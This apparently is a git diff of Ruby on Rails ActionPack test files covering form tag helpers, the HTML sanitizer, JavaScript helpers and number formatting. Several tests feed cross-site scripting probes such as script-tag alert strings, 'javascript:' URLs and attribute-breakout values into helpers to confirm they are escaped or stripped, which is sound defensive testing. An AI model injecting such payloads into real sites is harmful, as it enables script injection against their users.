+    actual = form_tag({}, { :method => :patch })
+    expected = whole_form("http://www.example.com", :method => :patch)
+    assert_dom_equal expected, actual
+  end
+
   def test_form_tag_with_method_put
     actual = form_tag({}, { :method => :put })
     expected = whole_form("http://www.example.com", :method => :put)
@@ -104,14 +111,14 @@ class FormTagHelperTest < ActionView::TestCase
   end
 
   def test_form_tag_with_block_in_erb
-    output_buffer = form_tag("http://www.example.com") { concat "Hello world!" }
+    output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
 
     expected = whole_form { "Hello world!" }
     assert_dom_equal expected, output_buffer
   end
 
   def test_form_tag_with_block_and_method_in_erb
-    output_buffer = form_tag("http://www.example.com", :method => :put) { concat "Hello world!" }
+    output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
 
     expected = whole_form("http://www.example.com", :method => "put") do
       "Hello world!"
@@ -206,27 +213,45 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal expected, actual
   end
 
+  def test_select_tag_escapes_prompt
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
+    expected = %(<select id="places" name="places"><option value="">&lt;script&gt;alert(1337)&lt;/script&gt;</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
   def test_select_tag_with_prompt_and_include_blank
     actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
     expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
     assert_dom_equal expected, actual
   end
 
+  def test_select_tag_with_nil_option_tags_and_include_blank
+    actual = select_tag "places", nil, :include_blank => true
+    expected = %(<select id="places" name="places"><option value=""></option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_nil_option_tags_and_prompt
+    actual = select_tag "places", nil, :prompt => "string"
+    expected = %(<select id="places" name="places"><option value="">string</option></select>)
+    assert_dom_equal expected, actual
+  end
+
   def test_text_area_tag_size_string
     actual = text_area_tag "body", "hello world", "size" => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
   def test_text_area_tag_size_symbol
     actual = text_area_tag "body", "hello world", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
   def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
     actual = text_area_tag "body", "hello world", :size => 20
-    expected = %(<textarea id="body" name="body">hello world</textarea>)
+    expected = %(<textarea id="body" name="body">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
@@ -237,19 +262,19 @@ class FormTagHelperTest < ActionView::TestCase
 
   def test_text_area_tag_escape_content
     actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">&lt;b&gt;hello world&lt;/b&gt;</textarea>)
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n&lt;b&gt;hello world&lt;/b&gt;</textarea>)
     assert_dom_equal expected, actual
   end
 
   def test_text_area_tag_unescaped_content
     actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
-    expected = %(<textarea cols="20" id="body" name="body" rows="40"><b>hello world</b></textarea>)
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
     assert_dom_equal expected, actual
   end
 
   def test_text_area_tag_unescaped_nil_content
     actual = text_area_tag "body", nil, :escape => false
-    expected = %(<textarea id="body" name="body"></textarea>)
+    expected = %(<textarea id="body" name="body">\n</textarea>)
     assert_dom_equal expected, actual
   end
 
@@ -366,30 +391,32 @@ class FormTagHelperTest < ActionView::TestCase
 
   def test_submit_tag
     assert_dom_equal(
-      %(<input name='commit' data-disable-with="Saving..." onclick="alert('hello!')" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :onclick => "alert('hello!')")
+      %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#x27;hello!&#x27;)" type="submit" value="Save" />),
+      submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
     )
   end
 
   def test_submit_tag_with_no_onclick_options
     assert_dom_equal(
       %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...")
+      submit_tag("Save", :data => { :disable_with => "Saving..." })
     )
   end
 
   def test_submit_tag_with_confirmation
     assert_dom_equal(
       %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
-      submit_tag("Save", :confirm => "Are you sure?")
+      submit_tag("Save", :data => { :confirm => "Are you sure?" })
     )
   end
 
-  def test_submit_tag_with_confirmation_and_with_disable_with
-    assert_dom_equal(
-      %(<input name="commit" data-disable-with="Saving..." data-confirm="Are you sure?" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :confirm => "Are you sure?")
-    )
+  def test_submit_tag_with_deprecated_confirmation
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
+        submit_tag("Save", :confirm => "Are you sure?")
+      )
+    end
   end
 
   def test_button_tag
@@ -443,23 +470,84 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
   end
 
+  def test_button_tag_with_confirmation
+    assert_dom_equal(
+      %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+      button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
+    )
+  end
+
+  def test_button_tag_with_deprecated_confirmation
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+        button_tag("Save", :type => "submit", :confirm => "Are you sure?")
+      )
+    end
+  end
+
   def test_image_submit_tag_with_confirmation
     assert_dom_equal(
       %(<input type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
-      image_submit_tag("save.gif", :confirm => "Are you sure?")
+      image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
     )
   end
 
+  def test_image_submit_tag_with_deprecated_confirmation
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        %(<input type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+        image_submit_tag("save.gif", :confirm => "Are you sure?")
+      )
+    end
+  end
+
+
+  def test_color_field_tag
+    expected = %{<input id="car" name="car" type="color" />}
+    assert_dom_equal(expected, color_field_tag("car"))
+  end
+
   def test_search_field_tag
     expected = %{<input id="query" name="query" type="search" />}
     assert_dom_equal(expected, search_field_tag("query"))
   end
 
-  def telephone_field_tag
+  def test_telephone_field_tag
     expected = %{<input id="cell" name="cell" type="tel" />}
     assert_dom_equal(expected, telephone_field_tag("cell"))
   end
 
+  def test_date_field_tag
+    expected = %{<input id="cell" name="cell" type="date" />}
+    assert_dom_equal(expected, date_field_tag("cell"))
+  end
+
+  def test_time_field_tag
+    expected = %{<input id="cell" name="cell" type="time" />}
+    assert_dom_equal(expected, time_field_tag("cell"))
+  end
+
+  def test_datetime_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime" />}
+    assert_dom_equal(expected, datetime_field_tag("appointment"))
+  end
+
+  def test_datetime_local_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+    assert_dom_equal(expected, datetime_local_field_tag("appointment"))
+  end
+
+  def test_month_field_tag
+    expected = %{<input id="birthday" name="birthday" type="month" />}
+    assert_dom_equal(expected, month_field_tag("birthday"))
+  end
+
+  def test_week_field_tag
+    expected = %{<input id="birthday" name="birthday" type="week" />}
+    assert_dom_equal(expected, week_field_tag("birthday"))
+  end
+
   def test_url_field_tag
     expected = %{<input id="homepage" name="homepage" type="url" />}
     assert_dom_equal(expected, url_field_tag("homepage"))
@@ -480,32 +568,38 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
   end
 
-  def test_pass
-    assert_equal 1, 1
-  end
-
   def test_field_set_tag_in_erb
-    output_buffer = field_set_tag("Your details") { concat "Hello world!" }
+    output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
 
     expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
     assert_dom_equal expected, output_buffer
 
-    output_buffer = field_set_tag { concat "Hello world!" }
+    output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
 
     expected = %(<fieldset>Hello world!</fieldset>)
     assert_dom_equal expected, output_buffer
 
-    output_buffer = field_set_tag('') { concat "Hello world!" }
+    output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
 
     expected = %(<fieldset>Hello world!</fieldset>)
     assert_dom_equal expected, output_buffer
 
-    output_buffer = field_set_tag('', :class => 'format') { concat "Hello world!" }
+    output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
 
     expected = %(<fieldset class="format">Hello world!</fieldset>)
     assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag %>")
+
+    expected = %(<fieldset></fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
+
+    expected = %(<fieldset><legend>You legend!</legend></fieldset>)
+    assert_dom_equal expected, output_buffer
   end
-  
+
   def test_text_area_tag_options_symbolize_keys_side_effects
     options = { :option => "random_option" }
     text_area_tag "body", "hello world", options
diff --git a/actionpack/test/template/html-scanner/cdata_node_test.rb b/actionpack/test/template/html-scanner/cdata_node_test.rb
index 1822cc565a..9b58174641 100644
--- a/actionpack/test/template/html-scanner/cdata_node_test.rb
+++ b/actionpack/test/template/html-scanner/cdata_node_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class CDATANodeTest < Test::Unit::TestCase
+class CDATANodeTest < ActiveSupport::TestCase
   def setup
     @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
   end
diff --git a/actionpack/test/template/html-scanner/document_test.rb b/actionpack/test/template/html-scanner/document_test.rb
index 3db2fba783..17f045d549 100644
--- a/actionpack/test/template/html-scanner/document_test.rb
+++ b/actionpack/test/template/html-scanner/document_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class DocumentTest < Test::Unit::TestCase
+class DocumentTest < ActiveSupport::TestCase
   def test_handle_doctype
     doc = nil
     assert_nothing_raised do
diff --git a/actionpack/test/template/html-scanner/node_test.rb b/actionpack/test/template/html-scanner/node_test.rb
index f4b9b198e8..5b5d092036 100644
--- a/actionpack/test/template/html-scanner/node_test.rb
+++ b/actionpack/test/template/html-scanner/node_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class NodeTest < Test::Unit::TestCase
+class NodeTest < ActiveSupport::TestCase
 
   class MockNode
     def initialize(matched, value)
diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb
index 62ad6be680..324caef224 100644
--- a/actionpack/test/template/html-scanner/sanitizer_test.rb
+++ b/actionpack/test/template/html-scanner/sanitizer_test.rb
@@ -56,7 +56,6 @@ class SanitizerTest < ActionController::TestCase
     assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
   end
 
-  # TODO: Clean up
   def test_sanitize_js_handlers
     raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
     assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
@@ -126,6 +125,24 @@ class SanitizerTest < ActionController::TestCase
     assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
   end
 
+  def test_should_raise_argument_error_if_tags_is_not_enumerable
+    sanitizer = HTML::WhiteListSanitizer.new
+    e = assert_raise(ArgumentError) do
+      sanitizer.sanitize('', :tags => 'foo')
+    end
+
+    assert_equal "You should pass :tags as an Enumerable", e.message
+  end
+
+  def test_should_raise_argument_error_if_attributes_is_not_enumerable
+    sanitizer = HTML::WhiteListSanitizer.new
+    e = assert_raise(ArgumentError) do
+      sanitizer.sanitize('', :attributes => 'foo')
+    end
+
+    assert_equal "You should pass :attributes as an Enumerable", e.message
+  end
+
   [%w(img src), %w(a href)].each do |(tag, attr)|
     define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
       assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
@@ -138,7 +155,7 @@ class SanitizerTest < ActionController::TestCase
       assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
     end
   end
-  
+
   def test_should_accept_good_protocols_ignoring_case
     sanitizer = HTML::WhiteListSanitizer.new
     HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
@@ -146,6 +163,13 @@ class SanitizerTest < ActionController::TestCase
     end
   end
 
+  def test_should_accept_good_protocols_ignoring_space
+    sanitizer = HTML::WhiteListSanitizer.new
+    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
+      assert !sanitizer.send(:contains_bad_protocols?, 'src', " #{proto}://good")
+    end
+  end
+
   def test_should_accept_good_protocols
     sanitizer = HTML::WhiteListSanitizer.new
     HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
@@ -208,7 +232,6 @@ class SanitizerTest < ActionController::TestCase
     assert_sanitized img_hack, "<img>"
   end
 
-  # TODO: Clean up
   def test_should_sanitize_attributes
     assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="'&gt;&lt;script&gt;alert()&lt;/script&gt;">blah</span>)
   end
diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionpack/test/template/html-scanner/tag_node_test.rb
index 3b72243e7d..a29d2d43d7 100644
--- a/actionpack/test/template/html-scanner/tag_node_test.rb
+++ b/actionpack/test/template/html-scanner/tag_node_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class TagNodeTest < Test::Unit::TestCase
+class TagNodeTest < ActiveSupport::TestCase
   def test_open_without_attributes
     node = tag("<tag>")
     assert_equal "tag", node.name
diff --git a/actionpack/test/template/html-scanner/text_node_test.rb b/actionpack/test/template/html-scanner/text_node_test.rb
index 6f61253ffa..cbcb9e78f0 100644
--- a/actionpack/test/template/html-scanner/text_node_test.rb
+++ b/actionpack/test/template/html-scanner/text_node_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class TextNodeTest < Test::Unit::TestCase
+class TextNodeTest < ActiveSupport::TestCase
   def setup
     @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
   end
diff --git a/actionpack/test/template/html-scanner/tokenizer_test.rb b/actionpack/test/template/html-scanner/tokenizer_test.rb
index bf45a7c2e3..1d59de23b6 100644
--- a/actionpack/test/template/html-scanner/tokenizer_test.rb
+++ b/actionpack/test/template/html-scanner/tokenizer_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class TokenizerTest < Test::Unit::TestCase
+class TokenizerTest < ActiveSupport::TestCase
 
   def test_blank
     tokenize ""
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
index 4b9c3c97b1..4a9a382afa 100644
--- a/actionpack/test/template/javascript_helper_test.rb
+++ b/actionpack/test/template/javascript_helper_test.rb
@@ -1,5 +1,4 @@
 require 'abstract_unit'
-require 'active_support/core_ext/string/encoding'
 
 class JavaScriptHelperTest < ActionView::TestCase
   tests ActionView::Helpers::JavaScriptHelper
@@ -28,11 +27,9 @@ class JavaScriptHelperTest < ActionView::TestCase
     assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
     assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
     assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
-    if "ruby".encoding_aware?
-      assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!)
-    else
-      assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline))
-    end
+    assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!)
+    assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding('UTF-8').encode!)
+
     assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
   end
 
@@ -46,46 +43,58 @@ class JavaScriptHelperTest < ActionView::TestCase
   end
 
   def test_button_to_function
-    assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
-      button_to_function("Greeting", "alert('Hello world!')")
+    assert_deprecated "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal %(<input type="button" onclick="alert(&#x27;Hello world!&#x27;);" value="Greeting" />),
+        button_to_function("Greeting", "alert('Hello world!')")
+    end
   end
 
   def test_button_to_function_with_onclick
-    assert_dom_equal "<input onclick=\"alert('Goodbye World :('); alert('Hello world!');\" type=\"button\" value=\"Greeting\" />",
-      button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
+    assert_deprecated "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal "<input onclick=\"alert(&#x27;Goodbye World :(&#x27;); alert(&#x27;Hello world!&#x27;);\" type=\"button\" value=\"Greeting\" />",
+        button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
+    end
   end
 
   def test_button_to_function_without_function
-    assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
-      button_to_function("Greeting")
+    assert_deprecated "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
+        button_to_function("Greeting")
+    end
   end
 
   def test_link_to_function
-    assert_dom_equal %(<a href="#" onclick="alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')")
+    assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal %(<a href="#" onclick="alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+        link_to_function("Greeting", "alert('Hello world!')")
+    end
   end
 
   def test_link_to_function_with_existing_onclick
-    assert_dom_equal %(<a href="#" onclick="confirm('Sanity!'); alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
+    assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal %(<a href="#" onclick="confirm(&#x27;Sanity!&#x27;); alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+        link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
+    end
   end
 
   def test_function_with_href
-    assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
+    assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
+      assert_dom_equal %(<a href="http://example.com/" onclick="alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+        link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
+    end
   end
 
   def test_javascript_tag
     self.output_buffer = 'foo'
 
-    assert_dom_equal "<script type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+    assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
       javascript_tag("alert('hello')")
 
     assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
   end
 
   def test_javascript_tag_with_options
-    assert_dom_equal "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+    assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
       javascript_tag("alert('hello')", :id => "the_js_tag")
   end
 
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb
index 752b0f23a8..1713ce935c 100644
--- a/actionpack/test/template/log_subscriber_test.rb
+++ b/actionpack/test/template/log_subscriber_test.rb
@@ -8,7 +8,6 @@ class AVLogSubscriberTest < ActiveSupport::TestCase
 
   def setup
     super
-    @old_logger = ActionController::Base.logger
     @controller = Object.new
     @controller.stubs(:_prefixes).returns(%w(test))
     @view = ActionView::Base.new(ActionController::Base.view_paths, {}, @controller)
@@ -19,11 +18,10 @@ class AVLogSubscriberTest < ActiveSupport::TestCase
   def teardown
     super
     ActiveSupport::LogSubscriber.log_subscribers.clear
-    ActionController::Base.logger = @old_logger
   end
 
   def set_logger(logger)
-    ActionController::Base.logger = logger
+    ActionView::Base.logger = logger
   end
 
   def test_render_file_template
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
index bac2530e3d..ef9c5ce10c 100644
--- a/actionpack/test/template/lookup_context_test.rb
+++ b/actionpack/test/template/lookup_context_test.rb
@@ -1,20 +1,14 @@
 require "abstract_unit"
 require "abstract_controller/rendering"
 
-ActionView::LookupContext::DetailsKey.class_eval do
-  def self.details_keys
-    @details_keys
-  end
-end
-
 class LookupContextTest < ActiveSupport::TestCase
   def setup
     @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+    ActionView::LookupContext::DetailsKey.clear
   end
 
   def teardown
     I18n.locale = :en
-    ActionView::LookupContext::DetailsKey.details_keys.clear
   end
 
   test "process view paths on initialization" do
@@ -84,9 +78,9 @@ class LookupContextTest < ActiveSupport::TestCase
   end
 
   test "found templates respects given formats if one cannot be found from template or handler" do
-    ActionView::Template::Handlers::ERB.expects(:default_format).returns(nil)
+    ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
     @lookup_context.formats = [:text]
-    template = @lookup_context.find("hello_world", %w(test))
+    template = @lookup_context.find("hello", %w(test))
     assert_equal [:text], template.formats
   end
 
@@ -175,7 +169,7 @@ class LookupContextTest < ActiveSupport::TestCase
 
     assert_not_equal template, old_template
   end
-  
+
   test "responds to #prefixes" do
     assert_equal [], @lookup_context.prefixes
     @lookup_context.prefixes = ["foo"]
@@ -186,7 +180,7 @@ end
 class LookupContextWithFalseCaching < ActiveSupport::TestCase
   def setup
     @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
-    @resolver.stubs(:caching?).returns(false)
+    ActionView::Resolver.stubs(:caching?).returns(false)
     @lookup_context = ActionView::LookupContext.new(@resolver, {})
   end
 
@@ -253,6 +247,6 @@ class TestMissingTemplate < ActiveSupport::TestCase
       @lookup_context.view_paths.find("foo", "parent", true, details)
     end
     assert_match %r{Missing partial parent/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
-  end 
-  
+  end
+
 end
diff --git a/actionpack/test/template/number_helper_i18n_test.rb b/actionpack/test/template/number_helper_i18n_test.rb
deleted file mode 100644
index 5df09b4d3b..0000000000
--- a/actionpack/test/template/number_helper_i18n_test.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require 'abstract_unit'
-
-class NumberHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::NumberHelper
-
-  def setup
-    I18n.backend.store_translations 'ts',
-      :number => {
-        :format => { :precision => 3, :delimiter => ',', :separator => '.', :significant => false, :strip_insignificant_zeros => false },
-        :currency => { :format => { :unit => '&$', :format => '%u - %n', :negative_format => '(%u - %n)', :precision => 2 } },
-        :human => {
-          :format => {
-            :precision => 2,
-            :significant => true,
-            :strip_insignificant_zeros => true
-          },
-          :storage_units => {
-            :format => "%n %u",
-            :units => {
-              :byte => "b",
-              :kb => "k"
-            }
-          },
-          :decimal_units => {
-            :format => "%n %u",
-            :units => {
-              :deci => {:one => "Tenth", :other => "Tenths"},
-              :unit =>  "u",
-              :ten => {:one => "Ten", :other => "Tens"},
-              :thousand => "t",
-              :million => "m" ,
-              :billion =>"b" ,
-              :trillion =>"t" ,
-              :quadrillion =>"q"
-            }
-          }
-        },
-        :percentage => { :format => {:delimiter => '', :precision => 2, :strip_insignificant_zeros => true} },
-        :precision => { :format => {:delimiter => '', :significant => true} }
-      },
-      :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
-  end
-
-  def test_number_to_i18n_currency
-    assert_equal("&$ - 10.00", number_to_currency(10, :locale => 'ts'))
-    assert_equal("(&$ - 10.00)", number_to_currency(-10, :locale => 'ts'))
-    assert_equal("-10.00 - &$", number_to_currency(-10, :locale => 'ts', :format => "%n - %u"))
-  end
-
-  def test_number_to_currency_with_clean_i18n_settings
-    clean_i18n do
-      assert_equal("$10.00", number_to_currency(10))
-      assert_equal("-$10.00", number_to_currency(-10))
-    end
-  end
-
-  def test_number_with_i18n_precision
-    #Delimiter was set to ""
-    assert_equal("10000", number_with_precision(10000, :locale => 'ts'))
-
-    #Precision inherited and significant was set
-    assert_equal("1.00", number_with_precision(1.0, :locale => 'ts'))
-
-  end
-
-  def test_number_with_i18n_delimiter
-    #Delimiter "," and separator "."
-    assert_equal("1,000,000.234", number_with_delimiter(1000000.234, :locale => 'ts'))
-  end
-
-  def test_number_to_i18n_percentage
-    # to see if strip_insignificant_zeros is true
-    assert_equal("1%", number_to_percentage(1, :locale => 'ts'))
-    # precision is 2, significant should be inherited
-    assert_equal("1.24%", number_to_percentage(1.2434, :locale => 'ts'))
-    # no delimiter
-    assert_equal("12434%", number_to_percentage(12434, :locale => 'ts'))
-  end
-
-  def test_number_to_i18n_human_size
-    #b for bytes and k for kbytes
-    assert_equal("2 k", number_to_human_size(2048, :locale => 'ts'))
-    assert_equal("42 b", number_to_human_size(42, :locale => 'ts'))
-  end
-
-  def test_number_to_human_with_default_translation_scope
-    #Using t for thousand
-    assert_equal "2 t", number_to_human(2000, :locale => 'ts')
-    #Significant was set to true with precision 2, using b for billion
-    assert_equal "1.2 b", number_to_human(1234567890, :locale => 'ts')
-    #Using pluralization (Ten/Tens and Tenth/Tenths)
-    assert_equal "1 Tenth", number_to_human(0.1, :locale => 'ts')
-    assert_equal "1.3 Tenth", number_to_human(0.134, :locale => 'ts')
-    assert_equal "2 Tenths", number_to_human(0.2, :locale => 'ts')
-    assert_equal "1 Ten", number_to_human(10, :locale => 'ts')
-    assert_equal "1.2 Ten", number_to_human(12, :locale => 'ts')
-    assert_equal "2 Tens", number_to_human(20, :locale => 'ts')
-  end
-
-  def test_number_to_human_with_custom_translation_scope
-    #Significant was set to true with precision 2, with custom translated units
-    assert_equal "4.3 cm", number_to_human(0.0432, :locale => 'ts', :units => :custom_units_for_number_to_human)
-  end
-
-  private
-    def clean_i18n
-      load_path = I18n.load_path.dup
-      I18n.load_path.clear
-      I18n.reload!
-      yield
-    ensure
-      I18n.load_path = load_path
-      I18n.reload!
-    end
-end
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
index 8d679aac1d..d8fffe75ed 100644
--- a/actionpack/test/template/number_helper_test.rb
+++ b/actionpack/test/template/number_helper_test.rb
@@ -33,6 +33,7 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
     assert_equal("22-555-1212", number_to_phone(225551212))
     assert_equal("+45-22-555-1212", number_to_phone(225551212, :country_code => 45))
+    assert_equal '111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111', number_to_phone(1111111111, :delimiter => "<script></script>")
   end
 
   def test_number_to_currency
@@ -47,6 +48,8 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal("$1,234,567,890.50", number_to_currency("1234567890.50"))
     assert_equal("1,234,567,890.50 K&#269;", number_to_currency("1234567890.50", {:unit => "K&#269;", :format => "%n %u"}))
     assert_equal("1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", {:unit => "K&#269;", :format => "%n %u", :negative_format => "%n - %u"}))
+    assert_equal '$1&lt;script&gt;&lt;/script&gt;01', number_to_currency(1.01, :separator => "<script></script>")
+    assert_equal '$1&lt;script&gt;&lt;/script&gt;000.00', number_to_currency(1000, :delimiter => "<script></script>")
   end
 
   def test_number_to_percentage
@@ -57,6 +60,9 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal("1000.000%", number_to_percentage("1000"))
     assert_equal("123.4%", number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
     assert_equal("1.000,000%", number_to_percentage(1000, :delimiter => '.', :separator => ','))
+    assert_equal("1000.000  %", number_to_percentage(1000, :format => "%n  %"))
+    assert_equal '1&lt;script&gt;&lt;/script&gt;010%', number_to_percentage(1.01, :separator => "<script></script>")
+    assert_equal '1&lt;script&gt;&lt;/script&gt;000.000%', number_to_percentage(1000, :delimiter => "<script></script>")
   end
 
   def test_number_with_delimiter
@@ -77,6 +83,8 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal '12,345,678-05', number_with_delimiter(12345678.05, :separator => '-')
